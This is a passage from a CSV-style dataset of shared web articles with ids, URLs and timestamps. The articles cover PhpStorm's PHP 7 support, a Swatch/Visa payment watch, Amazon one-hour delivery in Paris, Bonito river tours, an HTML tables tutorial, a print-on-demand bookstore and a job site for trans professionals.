This also works well for the return type hints. Here we've forgotten that preg_match returns an integer, not a boolean, but PhpStorm has warned us of that right in the IDE without needing to run our code. This kind of code inspection is game-changing when you're using PHP 7 and PhpStorm 2016.2. PhpStorm 2016.2 has also increased its general understanding of PHP 7. PHP 7 changed the way you address variables making the parsing more uniform, so we've improved our uniform variable syntax support. Code like this would have raised errors in previous versions of PhpStorm but is now understood. We still have a little way to go to make PhpStorm understand the nuances of PHP's uniform syntax, but we're getting there (that's the problem with writing your own lexer for PHP in your IDE). We've also improved our code generation support to take note of type hints. Previous versions of PhpStorm would not honor type hints defined in, say, the constructor when generating getters and setters; this has now been implemented. PHP 7.1 While here at JetBrains we've been busy improving PHP 7 support in PhpStorm, the amazing people at PHP Internals haven't been resting on their laurels. PHP 7.1 is close to release, and PhpStorm 2016.2 has already got some initial support. We already support parsing of: nullable return type, enabling you to tell PHP that this function shouldn't return anything class constant visibility, allowing you to mark a class constant as private, public or protected the new list syntax that allows you to take supply key names in the function call catching multiple exceptions using the new | syntax PHP 7.1 hasn't been released (at the time of writing), but we'll cover these features in more detail when 7.1 is officially available. You might be able to tell that I'm very excited about this new PHP 7 support, particularly the strict mode inspections for type hints. Give them a go yourself and let me know what you think. - Gary and the PhpStorm Team",en
1468250214,CONTENT SHARED,-6875247493073242590,3609194402293569455,-493688854152847866,,,,HTML,http://trendwatching.com/trends/latin-innovation-bonanza/,LATIN INNOVATION BONANZA | New South & Central America Trend Briefing from TrendWatching,"Regular readers will know the secret at the heart of trend-driven innovation: for actionable foresight on what consumers will want next, stop watching customers and start watching innovations. That means new products, services, marketing campaigns, startups and business models. Why? Because game-changing innovations are reshaping the expectations of customers all over South & Central America. And new customer expectations spread: across markets, industries, demographics and more. Eventually they'll spread all the way to your door! In this Briefing, we've collected ten innovations from across the region that are already changing what customers across expect from brands and businesses. Your job? Be relentless about asking: what do these emerging expectations mean for me ? How can I innovate to meet them? And yes, we'll be sharing some thoughts of our own on that ;)",en
1468253653,CONTENT SHARED,-1383778823073811714,-1616903969205976623,-2163621331757589863,,,,HTML,http://exame.abril.com.br/tecnologia/noticias/swatch-lanca-relogio-para-pagamentos-em-parceria-com-visa,Swatch lança relógio para pagamentos em parceria com Visa | EXAME.com,"São Paulo - A Swatch e a Visa se uniram para lançar um relógio que é capaz de realizar pagamentos. O Swatch Bellamy tem aparência de um relógio tradicional, mas conta com tecnologia NFC (de troca de informações em distâncias curtas) em seu interior. Sem uso de senhas, será possível usar o relógio para realizar compras de até 50 reais. Além desse valor, será preciso colocar a senha no terminal. No momento do pagamento, o usuário deve aproximar o relógio ao terminal de pagamentos compatível com a tecnologia. Vale dizer que 2,5 milhões máquinas de cartão são compatíveis com NFC no Brasil. De acordo com a Swatch, o Brasil é o primeiro país das Américas a receber este relógio. Ele já é comercializado na China (com outro parceiro, uma vez que a Visa não opera lá) e na Suíça. A empresa afirma que, por ser bastante discreto, o relógio é uma forma mais segura do que os relógios inteligentes atuais. O relógio funciona de forma parecida com cartões pré-pagos. Antes de usá-lo, portanto, é preciso colocar créditos para que sejam usados nos pagamentos e compras. Ele poderá ser associado a contas de débito da Brasil Pré-Pagos Ele está disponível em branco, azul, preto e uma versão com as cores da bandeira brasileira. O relógio está sendo lançado com foco nas Olimpíadas. Ele será vendido por 725 reais. A Visa, inclusive, tem trabalho bastante em formas de pagamento diferentes com foco nos Jogos Olímpicos. Recentemente, a empresa apresentou uma pulseira que faz trabalho parecido com o do relógio, lançada em parceria com o Bradesco . Outro produto mostrado pela empresa focando as Olimpíadas foi um anel que poderá ser usado para pagamentos e que será distribuído para alguns atletas.",pt
1468253803,CONTENT REMOVED,-1383778823073811714,-1616903969205976623,-2163621331757589863,,,,HTML,http://exame.abril.com.br/tecnologia/noticias/swatch-lanca-relogio-para-pagamentos-em-parceria-com-visa,Swatch lança relógio para pagamentos em parceria com Visa | EXAME.com,"São Paulo - A Swatch e a Visa se uniram para lançar um relógio que é capaz de realizar pagamentos. O Swatch Bellamy tem aparência de um relógio tradicional, mas conta com tecnologia NFC (de troca de informações em distâncias curtas) em seu interior. Sem uso de senhas, será possível usar o relógio para realizar compras de até 50 reais. Além desse valor, será preciso colocar a senha no terminal. No momento do pagamento, o usuário deve aproximar o relógio ao terminal de pagamentos compatível com a tecnologia. Vale dizer que 2,5 milhões máquinas de cartão são compatíveis com NFC no Brasil. De acordo com a Swatch, o Brasil é o primeiro país das Américas a receber este relógio. Ele já é comercializado na China (com outro parceiro, uma vez que a Visa não opera lá) e na Suíça. A empresa afirma que, por ser bastante discreto, o relógio é uma forma mais segura do que os relógios inteligentes atuais. O relógio funciona de forma parecida com cartões pré-pagos. Antes de usá-lo, portanto, é preciso colocar créditos para que sejam usados nos pagamentos e compras. Ele poderá ser associado a contas de débito da Brasil Pré-Pagos Ele está disponível em branco, azul, preto e uma versão com as cores da bandeira brasileira. O relógio está sendo lançado com foco nas Olimpíadas. Ele será vendido por 725 reais. A Visa, inclusive, tem trabalho bastante em formas de pagamento diferentes com foco nos Jogos Olímpicos. Recentemente, a empresa apresentou uma pulseira que faz trabalho parecido com o do relógio, lançada em parceria com o Bradesco . Outro produto mostrado pela empresa focando as Olimpíadas foi um anel que poderá ser usado para pagamentos e que será distribuído para alguns atletas.",pt
1468255543,CONTENT SHARED,5045927063019110283,-1616903969205976623,-2163621331757589863,,,,HTML,https://www.ecommercebrasil.com.br/noticias/amazon-causa-polemica-com-servico-que-faz-entregas-em-1-hora-em-paris/,Amazon causa polêmica com serviço que faz entregas em 1 hora em Paris,"O novo serviço de entrega rápida da Amazon em Paris, que promete levar o produto ao usuário em apenas uma hora, está dando o que falar. A prefeitura da capital francesa promete ser intransigente com a gigante norte-americana. Depois de ter testado o serviço nos Estados Unidos, na Inglaterra e na Itália, a Amazon lançou a nova forma de entrega, chamada de ""Prime Now"", na última semana em Paris. O objetivo é entregar os produtos comprados online pelos usuários em apenas uma hora, o que é inédito na capital francesa. A oferta engloba tudo o que é tradicionalmente comercializado no site, inclusive alimentos. Mas o novo serviço não agradou a todos. A primeira a levantar a voz contra a Amazon foi a prefeitura de Paris, que estima que a entrega de uma hora pode ""desestabilizar gravemente o equilíbrio do comércio parisiense"". Um comunicado assinado pela prefeita Anne Hidalgo, também reclama da falta de informação sobre o lançamento do novo produto. Entre os pontos negativos apontados pela prefeitura sobre o novo serviço da Amazon, estão ""a preservação dos comércios 'de bairro', a interferência na vida dos moradores com o novo tráfego que a entrega pode acarretar, o aumento da poluição com os veículos de entrega, além da política de recursos humanos gerenciada pela Amazon"", diz o comunicado. Nesta manhã, foi a vez da Confederação dos Comerciantes da França (CDF) fechar o cerco à Amazon. Em entrevista à rádio France Info, o presidente do órgão, François Palombi, denunciou uma ""concorrência desleal"". ""Se não temos os mesmos meios, as mesmas armas e tempo para gerenciar essa problemática, seremos desfavorecidos. É inevitávél"", disse, pedindo que o governo tome medidas urgentes contra a gigante norte-americana. A batalha se anuncia longa, já que o ""Prime Now"" opera a partir de um centro de distribuição já instalado no 18° distrito da capital francesa, na região norte. Ao todo, 18 mil artigos estão disponíveis para serem entregues em uma hora. De brinquedos a aparelhos eletrônicos, além de 4 mil produtos alimentares, entre frutas e legumes, frios e congelados. Fonte: RFI",pt
1468259702,CONTENT SHARED,-7406587779348496692,3217014177234377440,-3930989238825344879,,,,HTML,http://www.viajenaviagem.com/2016/07/flutuacoes-em-bonito,[Bonito] Flutuações em Bonito: escolha a sua!,"Foram as flutuações que colocaram Bonito no mapa do ecoturismo brasileiro. São passeios gostosos, descendo a favor da correnteza dos rios, que tanto no verão como no inverno têm sempre a água em temperatura agradável, na casa dos 20°C. As principais flutuações em Bonito e arredores são a do Rio da Prata , do Aquário Natural , da Nascente do Rio Sucuri e da Nascente Azul . A flutuação do Rio da Prata é a mais famosa e disputada, e não conseguir uma vaga geralmente frustra os visitantes que não sabem da necessidade de reservar os passeios com antecedência. A verdade é que cada flutuação tem algo de especial, e qualquer uma das quatro principais já faria valer a pena o seu bilhete até Bonito. Mais abaixo, conheça cada uma e escolha a sua favorita. Ou faça duas, três, quatro flutuações -- é impossível se entediar de tanta beleza. Para saber antes de flutuar Fazenda São Geraldo As flutuações em Bonito acontecem em propriedades particulares com acesso aos rios da região. São fazendas que mantêm outras atividades além do turismo, mas que construíram uma estrutura independente para receber visitantes. No preço da visita já está incluso o aluguel de armários individuais ou coletivos nos vestiários, e também o aluguel de equipamento , que tem uso obrigatório (macacão de neoprene, colete salva-vidas, sapatilhas, máscara e snorkel). Há macacões de neoprene em uma boa variedade de tamanhos. Não se esqueça de levar toalha (os hotéis costumam emprestar ou alugar) e também a sua roupa de banho. Nascente Azul As flutuações são feitas em grupos pequenos , de até 9 pessoas. Os grupos são sempre acompanhados por guias. O guia ou vai nadando à frente do grupo, ou segue o grupo num barquinho não-motorizado. O Aquário Natural é o único passeio que conta com ambos. Segure o César Cielo que existe dentro de você: o nome ""flutuação"" não foi dado à toa para este tipo de passeio. Nadar com força é proibido, para não levantar sedimentos e prejudicar a visibilidade na água. Rio da Prata Pisar no fundo dos rios é proibidérrimo. As flutuações em Bonito podem ser feitas por crianças , se acompanhadas por um responsável, e também por quem não sabe nadar. Algumas flutuações são mais recomendadas do que outras, nesses casos (explicamos adiante). As águas são rasas em boa parte dos percursos, o que dá uma sensação maior de segurança. É raro, mas pode acontecer de um jacaré ou uma sucuri fazerem uma participação especial durante o passeio. Isso é mais provável de acontecer no primeiro horário de flutuação do dia. As flutuações acontecem em todos os dias do ano , faça chuva ou faça sol. Só chuvas torrenciais é que podem causar o cancelamento de passeios. O verão é a estação mais chuvosa em Bonito. Rio da Prata Qual é a sua Chapada? Rio da Prata Rio da Prata Com o maior percurso a ser cumprido, dentro e fora do rio, a flutuação do Rio da Prata não chega a ser radical, mas é mais aventureira do que as outras. Em primeiro lugar, é a única em que se permite que os visitantes nadem o tempo todo sem colete salva-vidas, caso prefiram. E embora a maior parte do passeio aconteça na paz de sempre, a combinação de corredeiras + água rasinha + pedras pontiagudas em um certo momento do trajeto pode deixar de lembrança alguns arranhões nas canelas. Rio da Prata O passeio começa com uma caminhada de 45 minutos pela mata, em terreno plano. A flutuação acontece em dois trechos do rio Olho d'Água, afluente do rio da Prata, e depois no rio da Prata em si -- mais profundo e geladinho. No final do passeio, caminhada de novo. Um guia acompanha o grupo durante o tempo inteiro dentro da água, e o treinamento para a flutuação é feito no próprio rio. Na segunda parte da flutuação pode haver ou não a companhia de um barco de apoio, que quando está em operação leva a bordo quem não estiver disposto a encarar a parte do percurso onde não dá pé. Quanto ao visu, o mais especial no Rio da Prata é o cenário, que muda muito ao longo da percurso. Poder encontrar peixes parrudos como pacus e dourados, que não existem nas demais flutuações, é também bastante divertido. Nascente do Rio Sucuri O passeio da Nascente do Rio Sucuri é o mais gostoso e relaxante entre as flutuações em Bonito. Depois de uma curtíssima caminhada sobre uma passarela de madeira para avistar a nascente do rio, é só cair na água um pouco adiante e se deixar levar pela correnteza. Suave, suave. O guia acompanha o grupo em um barco de apoio durante o tempo todo de passeio, que pode levar a bordo pessoas que prefiram não fazer a flutuação. O treinamento para adaptação ao snorkel é feito na piscina da propriedade, nos meses quentes, ou direto no rio, nos meses de inverno. O que impressiona na Nascente do Rio Sucuri é a transparência da água. Há menos peixes do que nos demais rios, então é uma flutuação mais recomendada para quem pretende fazer pelo menos mais um outro passeio do gênero em Bonito. (Já antecipando a pergunta: os passeios da Barra do Rio Sucuri e da Nascente do Rio Sucuri são feitos no mesmo rio, mas por fazendas diferentes. A fazenda da Nascente do Rio Sucuri tem uma posição mais privilegiada para o passeio.) Aquário Natural Vale reservar um tempinho para passear pela sede da Fazenda São Geraldo, que tem um lindo pomar e às vezes recebe a visita de tamanduás-bandeira. Aquário Natural Aquário Natural Aquário Natural Se você só vai fazer uma flutuação em Bonito, se você viaja com crianças pequenas, ou se alguém do grupo não sabe nadar mas não quer ficar de fora do passeio, a flutuação mais recomendável a escolher é, sem dúvida, a do Aquário Natural. A dinâmica do passeio é ótima para quem não tem intimidade com a água . Terminado o treinamento na piscina, os visitantes seguem até o rio Baía Bonita em uma caminhada curta sobre uma passarela de madeira. A primeira parte da flutuação acontece em uma área delimitada do rio em que não há correnteza, o que é ótimo para ganhar mais traquejo com o equipamento e para se habituar com a presença dos peixes -- que são muitos, muitos, muitos mesmo. A vegetação debaixo d'água completa a cena. É um passeio plasticamente deslumbrante. Nascente Azul No final do percurso, quem quiser ainda pode fazer um tchibum de tirolesa. Nascente Azul Nascente Azul A flutuação na Nascente Azul é a mais curtinha entre as quatro principais de Bonito -- de neoprene e snorkel, dentro do rio, você não vai permanecer muito mais do que meia hora. Mas, ainda assim, vale muitíssimo a pena, especialmente em dias quentes: a fazenda é também dublê de balneário, funcionando como uma gostosa praia de rio . Depois de cumprida a etapa da flutuação, e já livre do equipamento, você pode nadar à vontade, saltar da tirolesa e passear de caiaque, também em águas transparentes e rodeado de muitos peixes. Nascente Azul Para chegar no rio Bonito, onde é feita a flutuação, é preciso cumprir uma trilha não muito longa, mas com alguns degraus. O esforço é recompensado mesmo antes de a trilha acabar, quando se encontra uma cachoeira lindíssima, formada por calcário. Nascente Azul Daí em diante, a beleza só aumenta. O treinamento para a flutuação é feito numa parte bem rasinha do rio. Depois da adaptação, uma pequena caminhada leva à porção mais impressionante do passeio. Nessa área é permitido deixar os coletes salva-vidas brevemente de lado, e nadar em direção a uma grande fenda, usando uma corda como guia. Depois é só seguir o curso do rio, quase sem correnteza, na companhia do guia do passeio, que vai nadando junto. Não há barco de apoio, mas é um passeio bastante fácil para iniciantes. Leia mais:",pt
1468259743,CONTENT SHARED,3884256359744615997,3302556033962996625,-319088867141743450,,,,HTML,http://www.htmlgoodies.com/tutorials/tables/article.php/3479851,"So, You Want A Table, Huh?","Use these links to jump around or read it all... [ Simple Table Commands ] [ What Is Happening? ] [ Really Fancy Table Stuff ] [ Activating Cells For Links ] [ Images in Cells ] [ Framing Images ] You want a table? Okay, here's a table of the Brady family. Feel free to sing. Hey! That's not what I wanted! Yes, it is. You asked for a table. The thing above was made using the <TABLE> and </TABLE> commands. That's a table because... Oh, wait -- I'll bet this is the thing you were looking for: Am I right? You wanted those fancy border lines in the process so it looks like a graph or, dare I say, A TABLE? Simple Table Commands First things first. Let me explain the first table I showed you. The one you didn't want. It will make explaining the bordered table a whole lot easier. Here's the little program I wrote to give me the Brady family table: Now, don't be put off by this little ditty. It looks rough, but look again. There are really only four commands being used again and again. Here's what we use: <TABLE> starts and ends the entire thing. I think that makes perfect sense. This is a table after all. <CAPTION> and </CAPTION> places a caption over your table. The caption will be bolded and centered. Okay, it's a pretty dull caption. Use it if you'd like or feel free to forget it right here. I just thought I'd show it to you. Heck, you're here aren't you? <TR> is used when you want a new T able R ow to begin. Notice that you need to end every table row with an </TR>. See that above? <TD> denotes T able D ata. You put this in front of every piece of information you want in a cell. You need to end every one that you open with an </TD>. See how I have that above? </TABLE> ends the whole deal. It used to be that all of the end TD and end TR commands were not needed. Now they are. With the advent of version 4.0 browsers and HTML 4.0 specs, tables will be rendered incorrectly in Netscape browsers if the end commands are not used. I learned that the hard way when my tables all looked like heck when I upgraded. What Is Happening? What table commands do is create a series of cells. Each cell's data is denoted by the <TD> command. Please note that even though the program above has each cell (or TD) command on a new line, the cells keep going to the right until you tell the computer that a new row of cells will start by using the <TR> or Table Row command. Think of it as constructing a Tic Tac Toe board. You'll need nine cells for the board right? Three across in three rows. Use the <TD> command to make three cells across, use <TR> to jump to the next row, and so on until you have nine cells in three rows of three. Nothing to it. Note that a <TR> is needed first to start the first table row. Note the code above again to see it. Remember that whatever follows the <TD> command will appear in the cell. And the cells, by column, will be of equal size using the largest cell as the model for the others. Biggest wins, in other words... in life, as in HTML. Really Fancy Table Stuff Now on to making the fancy lines between cells. Here, again, is that table above: Okay, so I changed the names, but you get the idea. Below is the program I used to post this deal. Please note that the commands are the same! All I did was add a few things inside of them . If it looks like all the work is done in the <TABLE> command -- it is. You are using three commands to do the work for you: BORDER tells the table how large the border should be. This is all relative in terms of pixels. Three is larger than two and two is larger than one, etc. Try different numbers. I happen to like the look of BORDER=3. BORDER=0 gets rid of the borders altogether. CELLSPACING (all one word) gives the amount of space between cells. I'd keep this kind of small. Large spacing tends to defeat the purpose. CELLPADDING (all one word) gives the amount of space (or padding) between the cell border and the cell contents. Note the cell border walls tend to fill out. A higher number fills out more. Try a few different settings. Sometimes bigger is better. How about that new ""ALIGN"" deal in the <TD> command. See it? I have told the <TD> command I want the data that follows centered within the cell walls outlined in the TABLE command above. Can you do other ALIGN types? Sure. Try ALIGN=""left"" and ALIGN=""right."" Use them in combination in different cells. Set one table cell to left. Set another table cell to center. Save them -- trade them! Activating Cells For Links Wouldn't it be great if you could make a table with words and the words in the table were active so you could click on them? You can! See below: The commands are the same for this table except you place a link command after the <TD> command. Here's what the command for the upper left-hand cell looks like: By the way, the BORDER, CELLSPACING, AND CELLPADDING commands are all set at 20 in the above table to give you an example of some larger numbers. Images In Cells Can I put images in each of the cells? You bet. Here ya go: See?--> All you have done is followed the TD command with an image command. Again, the command that creates the upper left-hand cell is this: Framing Images I am asked at least once a week how to frame an image. What you have done above is basically framed two images. A frame around one image is nothing more than a one-celled table. Here's a framed image: If this is all you want to do, the commands are much simpler than the ones above. You see, there's only the one cell to deal with so there's no need to tell the table any type of CELLPADDING or CELLSPACING unless you want space between the image and the border or you want the border larger. You can if you'd like, but there's really no need. Follow the full use of <TR> and </TR> command. Another quick hint is to keep it all on one line so that the image centers perfectly in the border frame. Here are the commands that placed the above image in a frame: Finally... Just about anything will go inside of a table. The table commands just surround the items with a frame. Try putting a few of your page's items within a frame or a table. It looks professional. Just don't go overboard with it. Then it starts to take on the not-so-nice look of too many lawn ornaments.",en
1468259766,CONTENT REMOVED,3884256359744615997,3302556033962996625,-319088867141743450,,,,HTML,http://www.htmlgoodies.com/tutorials/tables/article.php/3479851,"So, You Want A Table, Huh?","Use these links to jump around or read it all... [ Simple Table Commands ] [ What Is Happening? ] [ Really Fancy Table Stuff ] [ Activating Cells For Links ] [ Images in Cells ] [ Framing Images ] You want a table? Okay, here's a table of the Brady family. Feel free to sing. Hey! That's not what I wanted! Yes, it is. You asked for a table. The thing above was made using the <TABLE> and </TABLE> commands. That's a table because... Oh, wait -- I'll bet this is the thing you were looking for: Am I right? You wanted those fancy border lines in the process so it looks like a graph or, dare I say, A TABLE? Simple Table Commands First things first. Let me explain the first table I showed you. The one you didn't want. It will make explaining the bordered table a whole lot easier. Here's the little program I wrote to give me the Brady family table: Now, don't be put off by this little ditty. It looks rough, but look again. There are really only four commands being used again and again. Here's what we use: <TABLE> starts and ends the entire thing. I think that makes perfect sense. This is a table after all. <CAPTION> and </CAPTION> places a caption over your table. The caption will be bolded and centered. Okay, it's a pretty dull caption. Use it if you'd like or feel free to forget it right here. I just thought I'd show it to you. Heck, you're here aren't you? <TR> is used when you want a new T able R ow to begin. Notice that you need to end every table row with an </TR>. See that above? <TD> denotes T able D ata. You put this in front of every piece of information you want in a cell. You need to end every one that you open with an </TD>. See how I have that above? </TABLE> ends the whole deal. It used to be that all of the end TD and end TR commands were not needed. Now they are. With the advent of version 4.0 browsers and HTML 4.0 specs, tables will be rendered incorrectly in Netscape browsers if the end commands are not used. I learned that the hard way when my tables all looked like heck when I upgraded. What Is Happening? What table commands do is create a series of cells. Each cell's data is denoted by the <TD> command. Please note that even though the program above has each cell (or TD) command on a new line, the cells keep going to the right until you tell the computer that a new row of cells will start by using the <TR> or Table Row command. Think of it as constructing a Tic Tac Toe board. You'll need nine cells for the board right? Three across in three rows. Use the <TD> command to make three cells across, use <TR> to jump to the next row, and so on until you have nine cells in three rows of three. Nothing to it. Note that a <TR> is needed first to start the first table row. Note the code above again to see it. Remember that whatever follows the <TD> command will appear in the cell. And the cells, by column, will be of equal size using the largest cell as the model for the others. Biggest wins, in other words... in life, as in HTML. Really Fancy Table Stuff Now on to making the fancy lines between cells. Here, again, is that table above: Okay, so I changed the names, but you get the idea. Below is the program I used to post this deal. Please note that the commands are the same! All I did was add a few things inside of them . If it looks like all the work is done in the <TABLE> command -- it is. You are using three commands to do the work for you: BORDER tells the table how large the border should be. This is all relative in terms of pixels. Three is larger than two and two is larger than one, etc. Try different numbers. I happen to like the look of BORDER=3. BORDER=0 gets rid of the borders altogether. CELLSPACING (all one word) gives the amount of space between cells. I'd keep this kind of small. Large spacing tends to defeat the purpose. CELLPADDING (all one word) gives the amount of space (or padding) between the cell border and the cell contents. Note the cell border walls tend to fill out. A higher number fills out more. Try a few different settings. Sometimes bigger is better. How about that new ""ALIGN"" deal in the <TD> command. See it? I have told the <TD> command I want the data that follows centered within the cell walls outlined in the TABLE command above. Can you do other ALIGN types? Sure. Try ALIGN=""left"" and ALIGN=""right."" Use them in combination in different cells. Set one table cell to left. Set another table cell to center. Save them -- trade them! Activating Cells For Links Wouldn't it be great if you could make a table with words and the words in the table were active so you could click on them? You can! See below: The commands are the same for this table except you place a link command after the <TD> command. Here's what the command for the upper left-hand cell looks like: By the way, the BORDER, CELLSPACING, AND CELLPADDING commands are all set at 20 in the above table to give you an example of some larger numbers. Images In Cells Can I put images in each of the cells? You bet. Here ya go: See?--> All you have done is followed the TD command with an image command. Again, the command that creates the upper left-hand cell is this: Framing Images I am asked at least once a week how to frame an image. What you have done above is basically framed two images. A frame around one image is nothing more than a one-celled table. Here's a framed image: If this is all you want to do, the commands are much simpler than the ones above. You see, there's only the one cell to deal with so there's no need to tell the table any type of CELLPADDING or CELLSPACING unless you want space between the image and the border or you want the border larger. You can if you'd like, but there's really no need. Follow the full use of <TR> and </TR> command. Another quick hint is to keep it all on one line so that the image centers perfectly in the border frame. Here are the commands that placed the above image in a frame: Finally... Just about anything will go inside of a table. The table commands just surround the items with a frame. Try putting a few of your page's items within a frame or a table. It looks professional. Just don't go overboard with it. Then it starts to take on the not-so-nice look of too many lawn ornaments.",en
1468261804,CONTENT SHARED,2864534935028964135,3609194402293569455,-493688854152847866,,,,HTML,https://endeavor.org.br/eventos/brasil-empreendedorismo-2016/,50 palestras online e gratuitas para você acompanhar em agosto,"50 palestras online e gratuitas para você acompanhar em agosto Na edição 2015 do Brasil Empreendedorismo, alcançamos 12.985 pessoas em 47 países. Foram 50 palestras, nacionais e internacionais de nomes como Lynda Weinman, Renato Santos e Marcelo Sales, organizado pela Acelera Startups, o evento é gratuito e totalmente online. Entre as atividades estão palestras e entrevistas e mini cursos sobre assuntos que envolvem finanças, comunicação, tecnologia, empreendedorismo, coaching, além de trajetórias de grandes empreendedores. Esse ano o evento terá uma versão social que ficará disponível gratuitamente logo após a edição da palestra e permanecerá assim para sempre! Essa é a nossa forma de ajudar todos os empreendedores que queiram empreender seguindo os 7 princípios dos negócios sociais definidos por Muhammad Yunus. Como chegar Você quer participar do Brasil Empreendedorismo 2016? Conteúdo e melhores práticas para empreender em uma era de transformações e oportunidades, confira a programação do evento e garanta a sua vaga. Criação e desenvolvimento:",pt
1468265373,CONTENT SHARED,3310859214930485296,2146546851324474301,-3095968882159381255,,,,HTML,http://www1.folha.uol.com.br/sobretudo/negocios/2016/07/1790016-em-paris-livraria-troca-estoque-por-maquina-que-imprime-obras-na-hora.shtml,"Em Paris, livraria troca estoque por máquina que imprime obras na hora","Gauthier Charrier, estudante de design gráfico, entrou em uma livraria de Paris e ficou se perguntando onde estavam os livros. ""Vi aquele enorme espaço aberto, com apenas um par de banquinhos, e fiquei imaginando que tinham esquecido alguma coisa"", conta. A escassez de estoque da Librairie des Puf, operada pela editora Presses Universitaires de France, não é um problema com distribuidores e sim o seu modelo de negócio. Dmitry Kostyukov/""The New York Times"" Alexandre Gaudefroy, gerente da Presses Universitaires de France, que imprime os livros na hora A loja vende livros impressos na hora, de acordo com o pedido do cliente e diante de seus olhos. Eles são feitos na Espresso Book Machine (algo como máquina expressa de livros em inglês). A On Demand Books, empresa americana que fabrica a máquina, escolheu seu nome inspirada por uma atividade que dura o mesmo tempo que fabricar um livro: tomar um cafezinho. A máquina fica nos fundos da loja e zumbe discretamente ao transformar arquivos PDF em livros de capa mole. Os clientes usam tablets para selecionar os títulos que desejam e podem ainda acrescentar dedicatórias. Alexandre Gaudefroy, diretor da livraria, confessa que, no começo, os clientes ficam desconfortáveis com a ausência das obras físicas para olhar e folhear. Mas, no fim, ""todos os fregueses se surpreendem."" Dmitry Kostyukov/""The New York Times"" A Espresso Book Machine, máquina que imprime os livros em poucos minutos Do ponto de vista dos negócios, a economia é evidente. ""Não me preciso preocupar com estoque. Estamos em uma loja de menos de 80 m² e posso oferecer todos os títulos que quiser"", diz Gaudefroy. E são muitos títulos. O catálogo da Les Pufs inclui 5.000 obras, além de outras 3 milhões compiladas pela On Demand Books. Entre elas, algumas antigas que não estão em livrarias convencionais. ""Graças ao modelo de impressão a pedido, podemos reviver velhos títulos que não seriam reimpressos pela editora porque venderiam apenas cinco ou dez cópias por ano"", explica Gaudefroy. TRANSFORMAÇÃO A impressão na hora é uma reinvenção radical de uma loja que foi inaugurada em 1921. A Librairie des Puf original ocupava diversos pavimentos e tinha vitrines repletas de livros, atraindo uma multidão de leitores das universidades parisienses. Por muito tempo, ela foi um símbolo cultural e acadêmico. Até que se viu forçada a fechar, há cerca de dez anos, devido à queda dos lucros e alta dos aluguéis. Não foi a única. De 2000 a 2014, 28% das livrarias de Paris fecharam as portas, de acordo com levantamento da Agência de Planejamento Urbano da capital francesa. O aumento dos aluguéis na região central densamente povoada da cidade foi o principal responsável pela crise. Outro grande fator foi a crescente concorrência dos sites de comércio eletrônico. A Librairie des Puf reabriu em março passado, beneficiada por um programa municipal que oferece aluguel de espaços no bairro parisiense de Quartier Latin a preços abaixo do valor de mercado para empresas consideradas culturalmente significativas. ""Imaginávamos que venderíamos 10 a 15 livros por dia, mas estamos vendo 30 ou 40"", diz Gaudefroy. ""Já estamos pensando em abrir lojas em outras grandes cidades universitárias da França, como Lille, Bordeaux e Lyon."" Traduzido por Paulo Migliacci",pt
1468287135,CONTENT SHARED,1688185960300227694,3217014177234377440,3496831735851303568,,,,HTML,https://aletp.com/2016/07/infografico-o-que-voce-precisa-saber-sobre-bitcoin/,Infográfico | O que você precisa saber sobre bitcoin - Aletp,"O pessoal da iinterativa me enviou hoje esse infográfico que mostra o universo do Bitcoin. Uma moeda virtual que embaralha a cabeça de algumas pessoas sobre sua valorização, como são realizadas as transações, maneiras de conseguir o bitcoin, etc. O infográfico aborda tudo isso e traz algumas curiosidades sobre a moeda virtual Bitcoin. Confira abaixo: Compartilhe nas redes sociais: Conheça a história do Design que o levaram à sua evolução das cavernas às redes sociais nesse... Atalhos de teclado são úteis e agilizam demais os trabalhos. Neste infográfico tem uma lista... Os números do Spotify e também um comparativo bem bacana do comportamento da Geração Y em...",pt
1468322251,CONTENT SHARED,4184543400419595673,6735372008307093370,-26450212110819761,,,,HTML,http://www.brasilpost.com.br/2016/07/09/transervico-site-de-empregos-trans_n_10817490.html,Este site quer conectar profissionais trans e travestis a empresas que não têm preconceito,"Publicado: O Brasil é o país que mais mata transexuais e travestis no mundo . Segundo dados da RedeTrans (Rede Nacional de Pessoas Trans do Brasil), 82% das mulheres transexuais e travestis abandonam o ensino médio por causa da discriminação na escola e, em alguns casos, pela falta de apoio da família. Sem opção, 90% acabam na prostituição, enquanto homens trans recorrem a subempregos, fruto da mesma discriminação transfóbica. Na tentativa de ajudar essa população, foi lançado o Transerviço , plataforma que busca conectar profissionais transexuais e travestis que queiram oferecer serviços com empresas interessadas em contratar sem preconceitos. O site nasceu como desdobramento do projeto Transempregos , que disponibiliza vagas de empregos formais para trans e travestis. A plataforma Transerviço foi idealizada por Daniela Andrade e desenvolvido pela ThoughtWorks, consultoria que cria e entrega softwares. ""No Brasil, é muito difícil ver pessoas trans e travestis no mercado formal, e as que não querem se prostituir acabam fazendo trabalhos manuais, como cabeleireiro, culinária, pintura, marcenaria. Então, pensamos em fazer uma plataforma que disponibilize esse elo: os que querem ajudar com a população trans que disponibiliza o serviço"", conta Andrade. O site tem dois propósitos. O primeiro é voltado ao profissional trans ou travesti que quer ofertar seu trabalho e para pessoas que são sensíveis à causa e contratam os serviços desse profissional. O segundo objetivo é criar um banco de profissionais e estabelecimentos que atendam essa população sem discriminação . ""Geralmente, pessoas trans e travestis são associadas a DSTs (doenças sexualmente transmissíveis) e muitos profissionais se recusam a atendê-las. Elas sofrem muito preconceito até mesmo quando precisam de ajuda"", explica Andrade. A proposta é que profissionais das mais diferentes especialidades, como cabeleireiros, médicos, dentistas e advogados, deixem seus contatos se desejam oferecer seus serviços à população. Ainda segundo a idealizadora, a proposta do site é atender as pessoas trans e travestis que não querem se prostituir . Para isso, filtros foram criados para barrar palavras associadas à prostituição. Questionada sobre ações de haters ou preconceituosos, como possíveis pegadinhas ou ofensas, a idealizadora diz que estão criando mecanismos de segurança. ""Ainda não temos como garantir que todas as pessoas que vão publicar ofertas de emprego e serviço têm boas intenções, mas temos filtros automáticos e mais pra frente teremos pessoal administrando os cadastros."" O projeto não tem fins lucrativos, afirma Andrade. ""O objetivo é minimizar o sofrimento de uma população completamente marginalizada"", resume. LEIA MAIS: - Uma questão de saúde pública: O drama das travestis e transexuais do Brasil - O Brasil é o país mais violento contra transexuais. E o que mais procura pornografia trans no RedTube",pt
